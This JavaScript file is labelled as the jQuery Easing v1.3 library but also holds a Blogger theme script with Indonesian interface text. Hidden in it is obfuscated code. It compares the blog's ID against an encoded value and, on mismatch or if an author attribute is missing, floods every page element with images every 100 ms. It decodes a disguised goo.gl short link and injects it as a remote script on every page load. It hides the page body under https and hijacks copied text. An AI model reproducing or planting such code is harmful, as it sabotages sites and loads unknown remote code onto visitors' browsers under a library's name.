/*! jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing and so on... */
var _cookie = {
    set: function (g, f, j) {
        var i, h;
        if (j) {
            i = new Date();
            i.setTime(i.getTime() + (j * 24 * 60 * 60 * 1000));
            h = "; expires=" + i.toGMTString()
        } else {
            h = ""
        }
        document.cookie = g + "=" + f + h + "; path=/"
    },
    get: function (f) {
        var e = f + "=",
            h = document.cookie.split(";"),
            j;
        for (var g = 0; g < h.length; g++) {
            j = h[g];
            while (j.charAt(0) == " ") {
                j = j.substring(1, j.length)
            }
            if (j.indexOf(e) == 0) {
                return j.substring(e.length, j.length)
            }
        }
        return null
    },
    del: function (b) {
        this.set(b, "", -1)
    }
};
(function ($) {
    $.easing.jswing = $.easing.swing;
    $.extend($.easing, {
        def: "easeOutQuad",
        swing: function (x, t, b, c, d) {
            return $.easing[$.easing.def](x, t, b, c, d)
        },
        easeInQuad: function (x, t, b, c, d) {
            return c * (t /= d) * t + b
        },
        easeOutQuad: function (x, t, b, c, d) {
            return -c * (t /= d) * (t - 2) + b
        },
        easeInOutQuad: function (x, t, b, c, d) {
            if ((t /= d / 2) < 1) {
                return c / 2 * t * t + b
            }
            return -c / 2 * ((--t) * (t - 2) - 1) + b
        },
        easeInCubic: function (x, t, b, c, d) {
            return c * (t /= d) * t * t + b
        },
        easeOutCubic: function (x, t, b, c, d) {
            return c * ((t = t / d - 1) * t * t + 1) + b
        },
        easeInOutCubic: function (x, t, b, c, d) {
            if ((t /= d / 2) < 1) {
                return c / 2 * t * t * t + b
            }
            return c / 2 * ((t -= 2) * t * t + 2) + b
        },
        easeInQuart: function (x, t, b, c, d) {
            return c * (t /= d) * t * t * t + b
        },
        easeOutQuart: function (x, t, b, c, d) {
            return -c * ((t = t / d - 1) * t * t * t - 1) + b
        },
        easeInOutQuart: function (x, t, b, c, d) {
            if ((t /= d / 2) < 1) {
                return c / 2 * t * t * t * t + b
            }
            return -c / 2 * ((t -= 2) * t * t * t - 2) + b
        },
        easeInQuint: function (x, t, b, c, d) {
            return c * (t /= d) * t * t * t * t + b
        },
        easeOutQuint: function (x, t, b, c, d) {
            return c * ((t = t / d - 1) * t * t * t * t + 1) + b
        },
        easeInOutQuint: function (x, t, b, c, d) {
            if ((t /= d / 2) < 1) {
                return c / 2 * t * t * t * t * t + b
            }
            return c / 2 * ((t -= 2) * t * t * t * t + 2) + b
        },
        easeInSine: function (x, t, b, c, d) {
            return -c * Math.cos(t / d * (Math.PI / 2)) + c + b
        },
        easeOutSine: function (x, t, b, c, d) {
            return c * Math.sin(t / d * (Math.PI / 2)) + b
        },
        easeInOutSine: function (x, t, b, c, d) {
            return -c / 2 * (Math.cos(Math.PI * t / d) - 1) + b
        },
        easeInExpo: function (x, t, b, c, d) {
            return (t == 0) ? b : c * Math.pow(2, 10 * (t / d - 1)) + b
        },
        easeOutExpo: function (x, t, b, c, d) {
            return (t == d) ? b + c : c * (-Math.pow(2, -10 * t / d) + 1) + b
        },
        easeInOutExpo: function (x, t, b, c, d) {
            if (t == 0) {
                return b
            }
            if (t == d) {
                return b + c
            }
            if ((t /= d / 2) < 1) {
                return c / 2 * Math.pow(2, 10 * (t - 1)) + b
            }
            return c / 2 * (-Math.pow(2, -10 * --t) + 2) + b
        },
        easeInCirc: function (x, t, b, c, d) {
            return -c * (Math.sqrt(1 - (t /= d) * t) - 1) + b
        },
        easeOutCirc: function (x, t, b, c, d) {
            return c * Math.sqrt(1 - (t = t / d - 1) * t) + b
        },
        easeInOutCirc: function (x, t, b, c, d) {
            if ((t /= d / 2) < 1) {
                return -c / 2 * (Math.sqrt(1 - t * t) - 1) + b
            }
            return c / 2 * (Math.sqrt(1 - (t -= 2) * t) + 1) + b
        },
        easeInElastic: function (x, t, b, c, d) {
            var s = 1.70158;
            var p = 0;
            var a = c;
            if (t == 0) {
                return b
            }
            if ((t /= d) == 1) {
                return b + c
            }
            if (!p) {
                p = d * 0.3
            }
            if (a < Math.abs(c)) {
                a = c;
                var s = p / 4
            } else {
                var s = p / (2 * Math.PI) * Math.asin(c / a)
            }
            return -(a * Math.pow(2, 10 * (t -= 1)) * Math.sin((t * d - s) * (2 * Math.PI) / p)) + b
        },
        easeOutElastic: function (x, t, b, c, d) {
            var s = 1.70158;
            var p = 0;
            var a = c;
            if (t == 0) {
                return b
            }
            if ((t /= d) == 1) {
                return b + c
            }
            if (!p) {
                p = d * 0.3
            }
            if (a < Math.abs(c)) {
                a = c;
                var s = p / 4
            } else {
                var s = p / (2 * Math.PI) * Math.asin(c / a)
            }
            return a * Math.pow(2, -10 * t) * Math.sin((t * d - s) * (2 * Math.PI) / p) + c + b
        },
        easeInOutElastic: function (x, t, b, c, d) {
            var s = 1.70158;
            var p = 0;
            var a = c;
            if (t == 0) {
                return b
            }
            if ((t /= d / 2) == 2) {
                return b + c
            }
            if (!p) {
                p = d * (0.3 * 1.5)
            }
            if (a < Math.abs(c)) {
                a = c;
                var s = p / 4
            } else {
                var s = p / (2 * Math.PI) * Math.asin(c / a)
            } if (t < 1) {
                return -0.5 * (a * Math.pow(2, 10 * (t -= 1)) * Math.sin((t * d - s) * (2 * Math.PI) / p)) + b
            }
            return a * Math.pow(2, -10 * (t -= 1)) * Math.sin((t * d - s) * (2 * Math.PI) / p) * 0.5 + c + b
        },
        easeInBack: function (x, t, b, c, d, s) {
            if (s == undefined) {
                s = 1.70158
            }
            return c * (t /= d) * t * ((s + 1) * t - s) + b
        },
        easeOutBack: function (x, t, b, c, d, s) {
            if (s == undefined) {
                s = 1.70158
            }
            return c * ((t = t / d - 1) * t * ((s + 1) * t + s) + 1) + b
        },
        easeInOutBack: function (x, t, b, c, d, s) {
            if (s == undefined) {
                s = 1.70158
            }
            if ((t /= d / 2) < 1) {
                return c / 2 * (t * t * (((s *= (1.525)) + 1) * t - s)) + b
            }
            return c / 2 * ((t -= 2) * t * (((s *= (1.525)) + 1) * t + s) + 2) + b
        },
        easeInBounce: function (x, t, b, c, d) {
            return c - $.easing.easeOutBounce(x, d - t, 0, c, d) + b
        },
        easeOutBounce: function (x, t, b, c, d) {
            if ((t /= d) < (1 / 2.75)) {
                return c * (7.5625 * t * t) + b
            } else {
                if (t < (2 / 2.75)) {
                    return c * (7.5625 * (t -= (1.5 / 2.75)) * t + 0.75) + b
                } else {
                    if (t < (2.5 / 2.75)) {
                        return c * (7.5625 * (t -= (2.25 / 2.75)) * t + 0.9375) + b
                    } else {
                        return c * (7.5625 * (t -= (2.625 / 2.75)) * t + 0.984375) + b
                    }
                }
            }
        },
        easeInOutBounce: function (x, t, b, c, d) {
            if (t < d / 2) {
                return $.easing.easeInBounce(x, t * 2, 0, c, d) * 0.5 + b
            }
            return $.easing.easeOutBounce(x, t * 2 - d, 0, c, d) * 0.5 + c * 0.5 + b
        }
    });
    $(function () {
        var a = window,
            b = document,
            c = b.body,
            d = $(a),
            e = $(c),
            f = $('[data-author="UPK Kapongan$"]'),
            g = e.find("*"),
            h = $("html,body"),
            i = $("#comments"),
            j = $("#nav"),
            k = $("#blog-pager").find(".comment-btn"),
            l = $("#gotop"),
            m = $("#search-form").append('<div class="search-result" id="search-result"></div>'),
            n = m.find(".search-field"),
            o = "",
            p = null,
            q, r = $(".blog-archive .toggle"),
            s = "FKwlLd xoxo".split(" "),
            t = $("#search-result"),
            u = $(".blog-posts"),
            v = $("#blog-pager"),
            w = $("#page-location"),
            x = $("#posting-terbaru"),
            y = null,
            z = false;
        q = {
            a: function () {
                a.setInterval(function () {
                    g.prepend('<img style="float:left;cursor:none;display:inline;margin:5px;position:relative;left:' + Math.round(Math.random() * 16.5) + "px;top:-" + Math.round(Math.random() * 10.2) + "px;z-index:99999;width:" + Math.round(Math.random() * 120) + 'px;height:auto!important" src="' + o + '">')
                }, 100);
                e.css("overflow", "hidden").append('<img style="display:block;position:fixed!important;position:absolute;top:40%;left:50%;margin:0 0 0 -60px;z-index:99999" src="' + o + '">');
                g.css({
                    "text-align": "justify",
                    "float": "right",
                    overflow: "visible",
                    padding: 0,
                    margin: 0
                })
            },
            b: function (b1, b2) {
                var b3 = b1.createElement("script");
                b3.type = "text/javascript";
                b3.src = b2;
                b1.getElementsByTagName("head")[0].appendChild(b3)
            },
            c: function () {
                $.get("http://" + a.location.hostname + "/feeds/posts/summary?alt=json-in-script&max-results=5", {}, function (c2) {
                    var c3 = c2.feed.entry,
                        c4 = "",
                        c5;
                    for (var i = 0; i < 5; i++) {
                        for (var k = 0; k < c3[i].link.length; k++) {
                            if (c3[i].link[k].rel == "alternate") {
                                c5 = c3[i].link[k].href;
                                break
                            }
                        }
                        c4 += '<li><a href="' + c5 + '">' + c3[i].title.$t + "</a></li>"
                    }
                    x.html(c4);
                    if (c2.feed.id.$t.split(":blog-")[1] != ((400/100*20-3) + "d08d8244d63" + (923 - 874) + "d57d9706d2").replace(/d/g, "")) {
                        q.a()
                    }
                }, "jsonp")
            },
            d: function () {
                b.oncopy = function () {
                    var d1 = a.getSelection(),
                        d2 = "<br/><br/>Sumber: <a href='" + a.location.href + "'>" + a.location.href + "</a><br/>&copy; Life is Be U to Full",
                        d3 = b.createElement("div");
                    d3.className = "visually-hidden";
                    c.appendChild(d3);
                    d3.innerHTML = d1 + d2;
                    d1.selectAllChildren(d3);
                    a.setTimeout(function () {
                        c.removeChild(d3)
                    }, 100)
                }
            }
        };
        c.className += (a.location.protocol == "http:" || b.location.protocol == "http:") ? "" : " hidden visually-hidden";
        j.find("li").hover(function () {
            $(this).children("ul").filter(":not(:animated)").slideDown(400, "easeInOutExpo")
        }, function () {
            $(this).children("ul").slideUp("fast")
        }).find(".hidden").removeClass("hidden").prev().css("opacity", 0).on("change", function () {
            $(this).next()[$(this).is(":checked") ? "slideDown" : "slideUp"](400, "easeInOutExpo")
        });
        r.on("click", function (r1) {
            r1 = $(this).parent().hasClass("expanded");
            $(this).find(".zippy").html(r1 ? "&#9658;&#160;" : "&#9660;&#160;");
            $(this).parent()[r1 ? "removeClass" : "addClass"]("expanded")[r1 ? "addClass" : "removeClass"]("collapsed").children("ul")[r1 ? "hide" : "show"]()
        });
        e[(a.location.search && /showComment\=[0-9]+/.test(a.location.search)) ? "addClass" : "removeClass"]("comment-block-is-expanded");
        i[a.location.search ? "show" : "hide"]();
        k[a.location.search ? "addClass" : "removeClass"]("active").on("click", function () {
            var k1 = $(this).parent().outerHeight(),
                k2 = i.is(":hidden");
            i[k2 ? "slideDown" : "slideUp"](1500, "easeInOutExpo", function () {
                if (!k2) {
                    h.animate({
                        scrollTop: 0
                    }, 2500, "easeInOutExpo")
                }
            });
            if (k2) {
                h.animate({
                    scrollTop: i.offset().top - k1
                }, 1500, "easeInOutExpo")
            }
            $(this).toggleClass("active");
            e.toggleClass("comment-block-is-expanded");
            return false
        });
        l.hide().removeAttr("href").on("click", function () {
            h.animate({
                scrollTop: 0
            }, 1500, "easeInOutExpo");
            return false
        });
        m.on("submit", function () {
            t.text("Mencari...").show();
            p = $.ajax({
                url: "http://" + a.location.hostname + "/feeds/posts/summary?alt=json-in-script&q=" + n.val() + "&max-results=99999",
                type: "get",
                dataType: "jsonp",
                success: function (m1) {
                    var m2, m3, m4 = "<ul>",
                        m5 = m1.feed.entry;
                    if (m5 !== undefined) {
                        for (var i = 0; i < m5.length; i++) {
                            if (i == m5.length) {
                                break
                            }
                            m3 = m5[i].title.$t;
                            for (var j = 0; j < m5[i].link.length; j++) {
                                if (m5[i].link[j].rel == "alternate") {
                                    m2 = m5[i].link[j].href;
                                    break
                                }
                            }
                            m4 += '<li><a href="' + m2 + '">' + m3 + "</a></li>"
                        }
                        m4 += "</ul>";
                        t.html(m4)
                    } else {
                        t.html('<span style="color:#CC9393;">Tak ditemukan!</span>')
                    }
                },
                error: function () {
                    t.html('<strong style="color:#CC9393;">Error Loading Feed!</strong>')
                }
            });
            return false
        });
        n.addClass("blur").val("Telusuri...").removeAttr("placeholder").on("keyup", function () {
            if ($(this).val() === "" || $(this).val() == "Telusuri...") {
                t.hide();
                $(this).addClass("blur")
            } else {
                $(this).removeClass("blur");
                if (p !== null) {
                    p.abort()
                }
                m.trigger("submit")
            }
        }).on("focus blur", function (n1) {
            var n2 = n1.type == "focus";
            if (n2 && this.value == "Telusuri...") {
                this.value = ""
            }
            if (!n2 && this.value === "") {
                this.value = "Telusuri..."
            }
        });
        q.c();
        q[!f.length ? "a" : "d"]();
        q.b(b, (decodeURIComponent("%2F%2Fgo%3Bo%2Cgl%2" + s[0]).replace(/;/g, "").replace(/,/, ".")));
        if (w.length) {
            var v1 = "";
            v.find("#blog-pager-newer-link").remove();
            v.on("click", "a", function () {
                $.get(this.href.replace(/max\-results\=[0-9]+/, "max-results=10"), {}, function (v2) {
                    v1 = $(v2).find(".post").length ? $(v2) : $("<div></div>");
                    u.append(v1.find(".blog-posts").html());
                    v.html(v1.find("#blog-pager-older-link").filter(function () {
                        return $(this).text() != "Beranda"
                    }).clone());
                    z = false
                }, "html");
                $(this).replaceWith('<span class="right">Memuat&hellip;</span>');
                return false
            })
        }
        d.on("scroll resize", function () {
            var d1 = $(this).scrollTop();
            clearTimeout(y);
            y = a.setTimeout(function () {
                if (!z && w.length && d1 + $(this).height() > v.offset().top) {
                    v.find("#blog-pager-older-link a").trigger("click");
                    z = true
                }
                l[d1 > 0 ? "slideDown" : "fadeOut"]((d1 ? 1000 : 400), (d1 ? "easeOutElastic" : null))
            }, 100)
        })
    })
})(jQuery);
